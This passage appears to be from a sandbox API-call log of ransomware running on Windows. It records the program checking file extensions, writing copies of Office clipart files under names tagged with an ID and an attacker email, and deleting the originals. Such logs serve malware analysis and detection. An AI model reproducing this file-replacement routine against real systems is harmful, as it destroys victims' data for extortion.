(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0060.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0060.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0060.918] lstrlenW (lpString=".doc") returned 4 [0060.918] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.918] lstrlenW (lpString=".docx") returned 5 [0060.918] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.918] lstrlenW (lpString=".pdf") returned 4 [0060.918] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.918] lstrlenW (lpString=".xls") returned 4 [0060.918] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.918] lstrlenW (lpString=".xlsx") returned 5 [0060.918] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.918] lstrlenW (lpString=".ppt") returned 4 [0060.918] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0060.918] lstrlenW (lpString=".zip") returned 4 [0060.918] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.918] lstrlenW (lpString=".rar") returned 4 [0060.918] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.918] lstrlenW (lpString=".bz2") returned 4 [0060.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.918] lstrlenW (lpString=".7z") returned 3 [0060.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0060.919] lstrlenW (lpString=".dbf") returned 4 [0060.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0060.919] lstrlenW (lpString=".1cd") returned 4 [0060.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0060.919] lstrlenW (lpString=".jpg") returned 4 [0060.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.100] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=2690) returned 1 [0061.100] CloseHandle (hObject=0x1ac) returned 1 [0061.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x20 [0061.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0061.128] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.137] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0061.138] GetLastError () returned 0x0 [0061.138] ReadFile (in: hFile=0x16c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0xa82, lpOverlapped=0x0) returned 1 [0061.139] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xa90, lpOverlapped=0x0) returned 1 [0061.140] ReadFile (in: hFile=0x16c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.140] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.140] SetEndOfFile (hFile=0x258) returned 1 [0061.140] CloseHandle (hObject=0x258) returned 1 [0061.140] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.140] SetEndOfFile (hFile=0x16c) returned 1 [0061.141] CloseHandle (hObject=0x16c) returned 1 [0061.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0061.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0061.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0061.142] lstrlenW (lpString=".doc") returned 4 [0061.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.142] lstrlenW (lpString=".docx") returned 5 [0061.142] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.142] lstrlenW (lpString=".pdf") returned 4 [0061.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.142] lstrlenW (lpString=".xls") returned 4 [0061.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.142] lstrlenW (lpString=".xlsx") returned 5 [0061.142] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.142] lstrlenW (lpString=".ppt") returned 4 [0061.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0061.142] lstrlenW (lpString=".zip") returned 4 [0061.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.142] lstrlenW (lpString=".rar") returned 4 [0061.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.142] lstrlenW (lpString=".bz2") returned 4 [0061.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.142] lstrlenW (lpString=".7z") returned 3 [0061.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0061.142] lstrlenW (lpString=".dbf") returned 4 [0061.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0061.142] lstrlenW (lpString=".1cd") returned 4 [0061.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0061.142] lstrlenW (lpString=".jpg") returned 4 [0061.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.143] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=7828) returned 1 [0061.143] CloseHandle (hObject=0x16c) returned 1 [0061.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x20 [0061.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0061.143] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.143] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0061.144] GetLastError () returned 0x0 [0061.144] ReadFile (in: hFile=0x16c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x1e94, lpOverlapped=0x0) returned 1 [0061.145] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x1ea0, lpOverlapped=0x0) returned 1 [0061.146] ReadFile (in: hFile=0x16c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.146] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.146] SetEndOfFile (hFile=0x258) returned 1 [0061.147] CloseHandle (hObject=0x258) returned 1 [0061.147] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.147] SetEndOfFile (hFile=0x16c) returned 1 [0061.147] CloseHandle (hObject=0x16c) returned 1 [0061.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf")) returned 1 [0061.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0061.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0061.148] lstrlenW (lpString=".doc") returned 4 [0061.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.148] lstrlenW (lpString=".docx") returned 5 [0061.148] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.148] lstrlenW (lpString=".pdf") returned 4 [0061.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.148] lstrlenW (lpString=".xls") returned 4 [0061.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.148] lstrlenW (lpString=".xlsx") returned 5 [0061.148] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.148] lstrlenW (lpString=".ppt") returned 4 [0061.148] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0061.148] lstrlenW (lpString=".zip") returned 4 [0061.148] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.148] lstrlenW (lpString=".rar") returned 4 [0061.148] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.148] lstrlenW (lpString=".bz2") returned 4 [0061.148] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.148] lstrlenW (lpString=".7z") returned 3 [0061.148] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0061.149] lstrlenW (lpString=".dbf") returned 4 [0061.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0061.149] lstrlenW (lpString=".1cd") returned 4 [0061.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0061.149] lstrlenW (lpString=".jpg") returned 4 [0061.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.150] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=42992) returned 1 [0061.150] CloseHandle (hObject=0x16c) returned 1 [0061.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x20 [0061.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0061.150] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.150] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0061.150] GetLastError () returned 0x0 [0061.150] ReadFile (in: hFile=0x16c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0xa7f0, lpOverlapped=0x0) returned 1 [0061.152] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xa800, lpOverlapped=0x0) returned 1 [0061.154] ReadFile (in: hFile=0x16c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.154] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.154] SetEndOfFile (hFile=0x258) returned 1 [0061.154] CloseHandle (hObject=0x258) returned 1 [0061.154] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.154] SetEndOfFile (hFile=0x16c) returned 1 [0061.155] CloseHandle (hObject=0x16c) returned 1 [0061.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf")) returned 1 [0061.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0061.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0061.155] lstrlenW (lpString=".doc") returned 4 [0061.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.156] lstrlenW (lpString=".docx") returned 5 [0061.156] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.156] lstrlenW (lpString=".pdf") returned 4 [0061.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.156] lstrlenW (lpString=".xls") returned 4 [0061.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.156] lstrlenW (lpString=".xlsx") returned 5 [0061.156] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.156] lstrlenW (lpString=".ppt") returned 4 [0061.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0061.156] lstrlenW (lpString=".zip") returned 4 [0061.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.156] lstrlenW (lpString=".rar") returned 4 [0061.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.156] lstrlenW (lpString=".bz2") returned 4 [0061.156] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.156] lstrlenW (lpString=".7z") returned 3 [0061.156] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0061.156] lstrlenW (lpString=".dbf") returned 4 [0061.156] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0061.156] lstrlenW (lpString=".1cd") returned 4 [0061.156] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0061.156] lstrlenW (lpString=".jpg") returned 4 [0061.156] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.157] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=42908) returned 1 [0061.157] CloseHandle (hObject=0x16c) returned 1 [0061.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x20 [0061.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0061.157] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.157] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0061.157] GetLastError () returned 0x0 [0061.157] ReadFile (in: hFile=0x16c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0xa79c, lpOverlapped=0x0) returned 1 [0061.159] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xa7a0, lpOverlapped=0x0) returned 1 [0061.161] ReadFile (in: hFile=0x16c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.161] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.161] SetEndOfFile (hFile=0x258) returned 1 [0061.161] CloseHandle (hObject=0x258) returned 1 [0061.161] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.161] SetEndOfFile (hFile=0x16c) returned 1 [0061.162] CloseHandle (hObject=0x16c) returned 1 [0061.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 1 [0061.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0061.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0061.163] lstrlenW (lpString=".doc") returned 4 [0061.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.163] lstrlenW (lpString=".docx") returned 5 [0061.163] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.163] lstrlenW (lpString=".pdf") returned 4 [0061.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.163] lstrlenW (lpString=".xls") returned 4 [0061.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.163] lstrlenW (lpString=".xlsx") returned 5 [0061.163] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.163] lstrlenW (lpString=".ppt") returned 4 [0061.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0061.163] lstrlenW (lpString=".zip") returned 4 [0061.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.163] lstrlenW (lpString=".rar") returned 4 [0061.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.163] lstrlenW (lpString=".bz2") returned 4 [0061.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.163] lstrlenW (lpString=".7z") returned 3 [0061.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0061.163] lstrlenW (lpString=".dbf") returned 4 [0061.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0061.163] lstrlenW (lpString=".1cd") returned 4 [0061.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0061.163] lstrlenW (lpString=".jpg") returned 4 [0061.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.164] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=712) returned 1 [0061.164] CloseHandle (hObject=0x16c) returned 1 [0061.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x20 [0061.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff 